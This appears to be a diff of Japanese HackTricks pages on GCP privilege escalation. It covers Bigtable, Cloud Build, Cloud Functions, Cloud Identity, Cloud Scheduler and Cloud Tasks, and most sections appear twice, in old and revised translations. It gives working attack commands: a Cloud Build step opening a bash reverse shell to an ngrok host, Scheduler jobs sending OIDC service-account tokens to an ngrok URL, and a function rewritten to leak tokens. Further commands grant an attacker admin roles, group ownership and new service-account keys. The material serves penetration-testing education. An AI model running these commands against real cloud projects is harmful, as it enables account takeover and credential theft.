> 既存のバインディングを一覧表示できない場合は、新しいポリシードキュメントを作成し、自分のアクセス権を維持できる限り `gcloud bigtable instances set-iam-policy` でプッシュしてください。
|
||||
</details>
|
||||
|
||||
この権限を得たら、[**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) を確認して、Bigtable の権限を悪用する他の方法を参照してください。
|
||||
> [!TIP]
|
||||
> 既存のバインディングを一覧できない場合は、新しいポリシードキュメントを作成して、`gcloud bigtable instances set-iam-policy` で適用してください(自分の権限を維持できることが前提です)。
|
||||
|
||||
この権限を取得したら、Bigtable の権限を悪用する別の方法については [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) を参照してください。
|
||||
|
||||
### `bigtable.tables.setIamPolicy`
|
||||
|
||||
**権限:** `bigtable.tables.setIamPolicy` (オプションで `bigtable.tables.getIamPolicy`)。
|
||||
**権限:** `bigtable.tables.setIamPolicy`(オプションで `bigtable.tables.getIamPolicy`)。
|
||||
|
||||
インスタンスのポリシーはロックダウンされ、個別のテーブルが委譲されることがあります。テーブルの IAM を編集できる場合、他のワークロードに触れずに **対象データセットのオーナーに自分を昇格させることができます**。
|
||||
インスタンスのポリシーはロックダウンされ、個々のテーブルが委任されている場合があります。テーブルの IAM を編集できるなら、他のワークロードに影響を与えずに**対象データセットのオーナーに自分を昇格させる**ことができます。
|
||||
|
||||
<details><summary>テーブル上で自分に bigtable.admin ロールを付与する</summary>
|
||||
```bash
|
||||
gcloud bigtable tables add-iam-policy-binding <table-id> \
|
||||
--instance=<instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
この権限を得たら、詳細については [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) を参照し、Bigtable の権限を悪用する追加の手法を確認してください。
|
||||
</details>
|
||||
|
||||
この権限を取得したら、[**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) を参照して、Bigtable 権限の悪用方法をさらに確認してください。
|
||||
|
||||
|
||||
### `bigtable.backups.setIamPolicy`
|
||||
|
||||
**権限:** `bigtable.backups.setIamPolicy`
|
||||
|
||||
バックアップは、あなたが管理する**任意のプロジェクトの任意のインスタンス**に復元できます。まず、自分のアイデンティティにバックアップへのアクセス権を付与し、その後 Admin/Owner ロールを持つサンドボックスに復元します。
|
||||
バックアップは、あなたが管理する**任意のプロジェクト内の任意のインスタンス**に復元できます。まず自身のアイデンティティにバックアップへのアクセス権を付与し、その後 Admin/Owner ロールを持つサンドボックスに復元してください。
|
||||
|
||||
もし `bigtable.backups.setIamPolicy` の権限を持っていれば、自分に `bigtable.backups.restore` の権限を付与して古いバックアップを復元し、機密情報へアクセスを試みることができます。
|
||||
もし `bigtable.backups.setIamPolicy` 権限を持っていれば、自分に `bigtable.backups.restore` 権限を付与して古いバックアップを復元し、機密情報にアクセスできるか試すことができます。
|
||||
|
||||
<details><summary>バックアップスナップショットの所有権を取得</summary>
|
||||
```bash
|
||||
# Take ownership of the snapshot
|
||||
gcloud bigtable backups add-iam-policy-binding <backup-id> \
|
||||
@@ -52,13 +63,18 @@ gcloud bigtable backups add-iam-policy-binding <backup-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
この権限を持っている場合は、[**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) を確認して、バックアップの復元方法を確認してください。
|
||||
</details>
|
||||
|
||||
### authorized view の更新
|
||||
この権限を得たら、バックアップを復元する方法は[**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md)を参照してください。
|
||||
|
||||
|
||||
### authorized view を更新
|
||||
|
||||
**権限:** `bigtable.authorizedViews.update`
|
||||
|
||||
Authorized Views は行や列をマスキング(redact)するためのものです。これを変更または削除すると、**防御側が頼りにしている細かなガードレールが失われます**。
|
||||
Authorized Views は行や列を抹消(redact)するためのものです。それらを変更または削除すると、防御側が頼りにしている**細かなガードレールが失われます**。
|
||||
|
||||
<details><summary>アクセス範囲を広げるために authorized view を更新</summary>
|
||||
```bash
|
||||
# Broaden the subset by uploading a permissive definition
|
||||
gcloud bigtable authorized-views update <view-id> \
|
||||
@@ -83,13 +99,17 @@ EOF
|
||||
gcloud bigtable authorized-views describe <view-id> \
|
||||
--instance=<instance-id> --table=<table-id>
|
||||
```
|
||||
この権限を持っている場合は、[**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) を参照して Authorized View からの読み取り方法を確認してください。
|
||||
</details>
|
||||
|
||||
この権限チェックについては [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) を参照して、承認済みビューからの読み取り方法を確認してください。
|
||||
|
||||
### `bigtable.authorizedViews.setIamPolicy`
|
||||
|
||||
**権限:** `bigtable.authorizedViews.setIamPolicy`.
|
||||
|
||||
この権限を持つ攻撃者は、自分自身に Authorized View へのアクセス権を付与でき、通常はアクセスできない機密データが含まれている可能性のあるビューにアクセスできるようになります。
|
||||
この権限を持つ攻撃者は、自分自身に承認済みビューへのアクセス権を付与でき、通常はアクセスできない機密データを閲覧できる可能性があります。
|
||||
|
||||
<details><summary>自分に承認済みビューへのアクセスを付与する</summary>
|
||||
```bash
|
||||
# Give more permissions over an existing view
|
||||
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
|
||||
@@ -97,7 +117,9 @@ gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.viewer'
|
||||
```
|
||||
この権限チェックを [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) で行った後、認可されたビューからの読み取り方法を確認します。
|
||||
</details>
|
||||
|
||||
この権限チェックを行った後、[**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) で authorized view からの読み取り方法を確認してください。
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### OAuthブランドとクライアントの作成
|
||||
### OAuth ブランドとクライアントの作成
|
||||
|
||||
[**ドキュメントによると**](https://cloud.google.com/iap/docs/programmatic-oauth-clients)、必要な権限は次のとおりです:
|
||||
[**According to the docs**](https://cloud.google.com/iap/docs/programmatic-oauth-clients)、これらが必要な権限です:
|
||||
|
||||
- `clientauthconfig.brands.list`
|
||||
- `clientauthconfig.brands.create`
|
||||
@@ -14,6 +14,8 @@
|
||||
- `clientauthconfig.clients.getWithSecret`
|
||||
- `clientauthconfig.clients.delete`
|
||||
- `clientauthconfig.clients.update`
|
||||
|
||||
<details><summary>OAuth ブランドとクライアントを作成</summary>
|
||||
```bash
|
||||
# Create a brand
|
||||
gcloud iap oauth-brands list
|
||||
@@ -21,4 +23,6 @@ gcloud iap oauth-brands create --application_title=APPLICATION_TITLE --support_e
|
||||
# Create a client of the brand
|
||||
gcloud iap oauth-clients create projects/PROJECT_NUMBER/brands/BRAND-ID --display_name=NAME
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## cloudbuild
|
||||
|
||||
Cloud Buildに関する詳細情報は、以下を確認してください:
|
||||
Cloud Buildの詳細については次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-build-enum.md
|
||||
@@ -12,12 +12,14 @@ Cloud Buildに関する詳細情報は、以下を確認してください:
|
||||
|
||||
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
この権限を使用すると、**クラウドビルドを提出**できます。cloudbuildマシンのファイルシステムには、**デフォルトでcloudbuildサービスアカウントのトークン**が含まれています:`<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`。ただし、cloudbuild構成内で**プロジェクト内の任意のサービスアカウントを指定**することができます。\
|
||||
したがって、マシンからトークンをあなたのサーバーに流出させるか、**その中にリバースシェルを取得してトークンを入手する**ことができます(トークンを含むファイルは変更される可能性があります)。
|
||||
この権限があれば、**submit a cloud build** できます。cloudbuild マシンのファイルシステムには、**デフォルトで cloudbuild Service Account の token**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com` が存在します。しかし、cloudbuild の設定内でプロジェクト内の任意の **service account を指定**できます。\
|
||||
したがって、マシンにトークンをあなたのサーバーへ exfiltrate させるか、あるいは**その内部で reverse shell を取得して自分で token を入手する**ことができます(トークンを含むファイルは変更される可能性があります)。
|
||||
|
||||
#### gcloud CLIを介した直接的な悪用
|
||||
#### Direct exploitation via gcloud CLI
|
||||
|
||||
1- `cloudbuild.yaml`を作成し、リスナーのデータで修正します。
|
||||
1- `cloudbuild.yaml` を作成し、listener の情報で修正する
|
||||
|
||||
<details><summary>Cloud Build YAML configuration for reverse shell</summary>
|
||||
```yaml
|
||||
steps:
|
||||
- name: bash
|
||||
@@ -27,19 +29,27 @@ bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
|
||||
options:
|
||||
logging: CLOUD_LOGGING_ONLY
|
||||
```
|
||||
2- ソースなしのシンプルなビルドをアップロードし、yamlファイルを指定して、ビルドで使用するSAを指定します:
|
||||
</details>
|
||||
|
||||
2- ソースなしの簡単な build をアップロードし、yaml ファイルを指定して、ビルドで使用する SA を指定する:
|
||||
|
||||
<details><summary>指定した service account を使って Cloud Build を送信する</summary>
|
||||
```bash
|
||||
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
|
||||
```
|
||||
#### Using python gcloud library
|
||||
オリジナルのエクスプロイトスクリプトは[**こちらのGitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py)で見つけることができます(ただし、トークンを取得する場所は私には機能しませんでした)。したがって、[**脆弱な環境の作成、エクスプロイト、およびクリーンアップを自動化するスクリプトはこちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh)と、cloudbuildマシン内でリバースシェルを取得し、[**それを盗むためのPythonスクリプトはこちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py)を確認してください(コード内で他のサービスアカウントを指定する方法が見つかります)**。**
|
||||
</details>
|
||||
|
||||
より詳細な説明については、[https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)を訪れてください。
|
||||
#### python gcloud ライブラリの使用
|
||||
オリジナルの exploit script は [**here on GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) で見つけられます (ただしトークンを取得している場所は私の環境では動作しませんでした)。そのため、vuln 環境の [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) を自動化するスクリプトと、cloudbuild マシン内で reverse shell を取得して [**steal it here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) する python スクリプトを確認してください (コード内で他の service accounts を指定する方法が見られます)**.**
|
||||
|
||||
詳細な説明については [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/) を参照してください
|
||||
|
||||
|
||||
### `cloudbuild.repositories.accessReadToken`
|
||||
|
||||
この権限を持つユーザーは、リポジトリにアクセスするために使用される**読み取りアクセス トークン**を取得できます:
|
||||
この権限があれば、ユーザーはリポジトリにアクセスするために使用される **read access token** を取得できます:
|
||||
|
||||
<details><summary>リポジトリの read access token を取得する</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
@@ -47,9 +57,13 @@ curl -X POST \
|
||||
-d '{}' \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudbuild.repositories.accessReadWriteToken`
|
||||
|
||||
この権限を持つユーザーは、リポジトリにアクセスするために使用される**読み取りおよび書き込みアクセストークン**を取得できます:
|
||||
この権限があると、ユーザーはリポジトリへアクセスするために使用される**読み書き用のアクセストークン**を取得できます:
|
||||
|
||||
<details><summary>リポジトリの読み書き用アクセストークンを取得する</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
@@ -57,12 +71,18 @@ curl -X POST \
|
||||
-d '{}' \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudbuild.connections.fetchLinkableRepositories`
|
||||
|
||||
この権限を使用すると、**接続がアクセスできるリポジトリを取得できます:**
|
||||
この権限があれば **接続がアクセスできるリポジトリを取得できます:**
|
||||
|
||||
<details><summary>リンク可能なリポジトリを取得</summary>
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## cloudfunctions
|
||||
|
||||
Cloud Functionsに関する詳細情報:
|
||||
Cloud Functions に関する詳細情報:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,19 +12,21 @@ Cloud Functionsに関する詳細情報:
|
||||
|
||||
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
これらの権限を持つ攻撃者は、**任意の(悪意のある)コードを持つ新しいCloud Functionを作成し、それにService Accountを割り当てることができます**。次に、メタデータからService Accountトークンを漏洩させて、その権限を昇格させます。\
|
||||
関数をトリガーするためにいくつかの権限が必要な場合があります。
|
||||
これらの権限を持つ攻撃者は、**任意(悪意ある)コードを使って新しい Cloud Function を作成し、Service Account を割り当てる**ことができます。その後、メタデータから Service Account トークンを leak して、その権限にエスカレーションできます。\
|
||||
関数をトリガーするための追加の権限が必要な場合があります。
|
||||
|
||||
この方法のためのエクスプロイトスクリプトは[こちら](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py)と[こちら](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py)にあり、事前構築された.zipファイルは[こちら](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions)にあります。
|
||||
この手法のエクスプロイトスクリプトは [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) と [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) で入手でき、事前ビルドされた .zip ファイルは [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions) で入手できます。
|
||||
|
||||
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
これらの権限を持つ攻撃者は、**Functionのコードを変更し、トークンを抽出する目的で関連付けられたサービスアカウントを変更することができます**。
|
||||
これらの権限を持つ攻撃者は、Function のコードを修正し、割り当てられた Service Account を変更してトークンを exfiltrating することさえできます。
|
||||
|
||||
> [!CAUTION]
|
||||
> Cloud Functionsをデプロイするには、デフォルトのコンピュートサービスアカウントまたはイメージを構築するために使用されるサービスアカウントに対するactAs権限も必要です。
|
||||
> In order to deploy cloud functions you will also need actAs permissions over the default compute service account or over the service account that is used to build the image.
|
||||
|
||||
バージョン1のcloudfunctionsに対する`.call`権限や、関数をトリガーするための役割`role/run.invoker`などの追加の権限が必要な場合があります。
|
||||
関数をトリガーするために、version 1 cloudfunctions の `.call` 権限やロール `role/run.invoker` のような追加権限が必要になる場合があります。
|
||||
|
||||
<details><summary>Update Cloud Function with malicious code to exfiltrate service account token</summary>
|
||||
```bash
|
||||
# Create new code
|
||||
temp_dir=$(mktemp -d)
|
||||
@@ -54,14 +56,18 @@ gcloud functions deploy <cloudfunction-name> \
|
||||
# Get SA token calling the new function code
|
||||
gcloud functions call <cloudfunction-name>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> `Permission 'run.services.setIamPolicy' denied on resource...` というエラーが表示される場合は、`--allow-unauthenticated` パラメータを使用しており、十分な権限がないためです。
|
||||
</details>
|
||||
|
||||
この方法のエクスプロイトスクリプトは [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py) にあります。
|
||||
> [!CAUTION]
|
||||
> エラー `Permission 'run.services.setIamPolicy' denied on resource...` が出る場合、それは `--allow-unauthenticated` パラメータを使用しており、そのための十分な権限がないことが原因です。
|
||||
|
||||
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeSet`
|
||||
|
||||
この権限を使用すると、**関数バケットにファイルをアップロードするための署名付きURLを取得できます(ただし、関数のコードは変更されず、更新する必要があります)**
|
||||
この権限があれば、**関数用バケットにファイルをアップロードできる署名付きURLを取得できます(ただし関数のコード自体は変更されないため、別途更新する必要があります)**
|
||||
|
||||
<details><summary>Cloud Function用の署名付きアップロードURLを生成</summary>
|
||||
```bash
|
||||
# Generate the URL
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
|
||||
@@ -69,38 +75,40 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
あまり攻撃者の視点からこの権限がどれほど有用かはわかりませんが、知っておくのは良いことです。
|
||||
</details>
|
||||
|
||||
攻撃者の観点からこの権限だけがどれほど有用かははっきりしませんが、知っておくと良いです。
|
||||
|
||||
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
|
||||
|
||||
前述の**`.update`**または**`.create`**のいずれかの権限を自分に与えて昇格します。
|
||||
前述のいずれかの **`.update`** または **`.create`** 権限を自分に付与することで権限昇格できます。
|
||||
|
||||
### `cloudfunctions.functions.update`
|
||||
|
||||
**`cloudfunctions`**の権限だけでは、**`iam.serviceAccounts.actAs`**がないと関数を更新できないため、これは有効な昇格ではありません。
|
||||
単に **`cloudfunctions`** 権限のみを持ち、**`iam.serviceAccounts.actAs`** がない場合、関数を更新することはできません。したがって、これは有効なPRIVESCではありません。
|
||||
|
||||
### バケットに対する読み取りおよび書き込みアクセス
|
||||
### Read & Write Access over the bucket
|
||||
|
||||
バケットに対する読み取りおよび書き込みアクセスがある場合、コードの変更を監視でき、バケットで**更新が発生したときに新しいコードを自分のコードに更新**することができ、Cloud Functionの新しいバージョンは提出されたバックドアコードで実行されます。
|
||||
バケットに対する読み書き権限があれば、コードの変更を監視でき、バケットで更新が発生した際には**新しいコードを自分のコードに置き換えることで**、提出したbackdooredコードで新しいバージョンのCloud Functionが実行されるようにできます。
|
||||
|
||||
攻撃の詳細については、以下を確認できます:
|
||||
You can check more about the attack in:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
ただし、これを使用して第三者のCloud Functionsを事前に侵害することはできません。なぜなら、アカウントにバケットを作成し、外部プロジェクトが書き込めるように公開権限を与えると、次のエラーが発生します:
|
||||
ただし、自分のアカウントでバケットを作成し、外部プロジェクトが書き込めるように公開権限を与えた場合、次のようなエラーが発生するため、これを使って第三者のCloud Functionsを事前に侵害することはできません:
|
||||
|
||||
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> ただし、これはDoS攻撃に使用される可能性があります。
|
||||
> ただし、これはDoS攻撃に利用される可能性があります。
|
||||
|
||||
### Artifact Registryに対する読み取りおよび書き込みアクセス
|
||||
### Read & Write Access over Artifact Registry
|
||||
|
||||
Cloud Functionが作成されると、新しいdockerイメージがプロジェクトのArtifact Registryにプッシュされます。新しいイメージでイメージを変更しようとしましたが、現在のイメージ(および`cache`イメージ)を削除しても何も変わらず、Cloud Functionは動作し続けました。したがって、バケットと同様に**レースコンディション攻撃を悪用することができるかもしれません**が、**保存されたイメージを変更するだけではCloud Functionを侵害することはできません**。
|
||||
Cloud Functionが作成されると、プロジェクトのArtifact Registryに新しいdockerイメージがプッシュされます。私はイメージを新しいものに置き換えたり、現在のイメージ(および `cache` イメージ)を削除してみましたが、何も変わらず、Cloud Functionは動作し続けました。したがって、バケットと同様に実行されるdockerコンテナを変更するために**Race Condition attackを悪用できる可能性がある**かもしれませんが、**保存されているイメージを単に変更するだけではCloud Functionを危険にさらすことはできません**。
|
||||
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloudidentity
|
||||
|
||||
cloudidentityサービスに関する詳細情報は、こちらのページを確認してください:
|
||||
cloudidentity サービスの詳細については、このページを確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,14 +12,20 @@ cloudidentityサービスに関する詳細情報は、こちらのページを
|
||||
|
||||
### グループに自分を追加する
|
||||
|
||||
ユーザーに十分な権限がある場合やグループが誤って構成されている場合、彼は新しいグループのメンバーになることができるかもしれません:
|
||||
ユーザーに十分な権限があるか、グループが誤って設定されている場合、新しいグループのメンバーに自分自身を追加できる可能性があります:
|
||||
|
||||
<details><summary>Cloud Identity グループに自分を追加する</summary>
|
||||
```bash
|
||||
gcloud identity groups memberships add --group-email <email> --member-email <email> [--roles OWNER]
|
||||
# If --roles isn't specified you will get MEMBER
|
||||
```
|
||||
### グループメンバーシップの変更
|
||||
</details>
|
||||
|
||||
ユーザーに十分な権限がある場合、またはグループが誤って構成されている場合、彼は自分がメンバーであるグループのOWNERに自分自身を設定できるかもしれません:
|
||||
### グループのメンバーシップを変更する
|
||||
|
||||
ユーザーが十分な権限を持っているか、グループが誤設定されている場合、所属するグループで自分をOWNERにすることができるかもしれません:
|
||||
|
||||
<details><summary>OWNERになるためにグループのメンバーシップを変更する</summary>
|
||||
```bash
|
||||
# Check the current membership level
|
||||
gcloud identity groups memberships describe --member-email <email> --group-email <email>
|
||||
@@ -27,4 +33,6 @@ gcloud identity groups memberships describe --member-email <email> --group-email
|
||||
# If not OWNER try
|
||||
gcloud identity groups memberships modify-membership-roles --group-email <email> --member-email <email> --add-roles=OWNER
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Scheduler
|
||||
|
||||
More information in:
|
||||
詳細は以下を参照:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-scheduler-enum.md
|
||||
@@ -12,33 +12,47 @@ More information in:
|
||||
|
||||
### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
|
||||
これらの権限を持つ攻撃者は、**Cloud Scheduler**を利用して**特定のサービスアカウントとしてcronジョブを認証**することができます。HTTP POSTリクエストを作成することで、攻撃者はストレージバケットの作成などのアクションを、サービスアカウントのアイデンティティの下で実行するようにスケジュールします。この方法は、**スケジューラーが`*.googleapis.com`エンドポイントをターゲットにし、リクエストを認証する能力を利用**しており、攻撃者は単純な`gcloud`コマンドを使用してGoogle APIエンドポイントを直接操作することができます。
|
||||
これらの権限を持つ攻撃者は、**Cloud Scheduler** を悪用して **cron ジョブを特定のサービスアカウントとして認証させる** ことができます。HTTP POST リクエストを作成することで、攻撃者は Storage バケットの作成などのアクションを、そのサービスアカウントのアイデンティティで実行するようスケジュールできます。この手法は、**Scheduler が `*.googleapis.com` エンドポイントをターゲットにしてリクエストを認証できる点**を利用しており、単純な `gcloud` コマンドで Google API エンドポイントを直接操作することを可能にします。
|
||||
|
||||
- **OAuthトークンヘッダーを使用して`googleapis.com`経由で任意のGoogle APIにアクセス**
|
||||
- **`googleapis.com` 経由で任意の Google API に OAuth token header でアクセス**
|
||||
|
||||
新しいストレージバケットを作成:
|
||||
Create a new Storage bucket:
|
||||
|
||||
<details><summary>API 経由で GCS バケットを作成する Cloud Scheduler ジョブを作成</summary>
|
||||
```bash
|
||||
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
|
||||
```
|
||||
特権を昇格させるために、**攻撃者は指定されたサービスアカウントを偽装して、目的のAPIをターゲットにしたHTTPリクエストを作成するだけです。**
|
||||
</details>
|
||||
|
||||
- **OIDCサービスアカウントトークンを抽出する**
|
||||
特権を昇格させるには、**攻撃者は単に指定された Service Account を偽装して目的の API をターゲットにした HTTP リクエストを作成するだけです**
|
||||
|
||||
- **Exfiltrate OIDC service account token**
|
||||
|
||||
<details><summary>Create Cloud Scheduler job to exfiltrate OIDC token</summary>
|
||||
```bash
|
||||
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
|
||||
|
||||
# Listen in the ngrok address to get the OIDC token in clear text.
|
||||
```
|
||||
HTTPレスポンスを確認する必要がある場合は、**実行のログを確認するだけで済みます**。
|
||||
</details>
|
||||
|
||||
HTTP response を確認する必要がある場合は、t**実行のログを確認してみてください**。
|
||||
|
||||
### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
|
||||
前のシナリオと同様に、**既に作成されたスケジューラーを更新してトークンを盗むか、アクションを実行することが可能です**。例えば:
|
||||
前のシナリオと同様に、**update an already created scheduler**ことで token を盗んだり操作を行ったりすることが可能です。例えば:
|
||||
|
||||
<details><summary>既存の Cloud Scheduler job を update して OIDC token を exfiltrate</summary>
|
||||
```bash
|
||||
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
|
||||
|
||||
# Listen in the ngrok address to get the OIDC token in clear text.
|
||||
```
|
||||
SAにプライベートキーをアップロードしてそれを偽装する別の例:
|
||||
</details>
|
||||
|
||||
別の例 — SA に秘密鍵をアップロードしてそれをなりすます:
|
||||
|
||||
<details><summary>Cloud Scheduler を使って Service Account に秘密鍵をアップロードし、それをなりすます</summary>
|
||||
```bash
|
||||
# Generate local private key
|
||||
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
|
||||
@@ -102,7 +116,9 @@ EOF
|
||||
# Activate the generated key
|
||||
gcloud auth activate-service-account --key-file=/tmp/lab.json
|
||||
```
|
||||
## 参考文献
|
||||
</details>
|
||||
|
||||
## 参考資料
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
|
||||
@@ -6,7 +6,9 @@
|
||||
|
||||
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
これらの権限を持つ攻撃者は、指定されたサービスアカウントのアイデンティティで実行されるタスクを作成することにより、**他のサービスアカウントを偽装**することができます。これにより、**IAMで保護されたCloud RunまたはCloud Functions**サービスに対して**認証されたHTTPリクエストを送信**することが可能になります。
|
||||
これらの権限を持つ攻撃者は、指定した service account の ID で実行されるタスクを作成することで、他の service account をなりすますことができます。これにより、IAM で保護された Cloud Run や Cloud Functions サービスへ認証済みの HTTP リクエストを送信できます。
|
||||
|
||||
<details><summary>Create Cloud Task with service account impersonation</summary>
|
||||
```bash
|
||||
gcloud tasks create-http-task \
|
||||
task-$(date '+%Y%m%d%H%M%S') \
|
||||
@@ -18,17 +20,25 @@ task-$(date '+%Y%m%d%H%M%S') \
|
||||
--body-content '{"hello":"world"}' \
|
||||
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
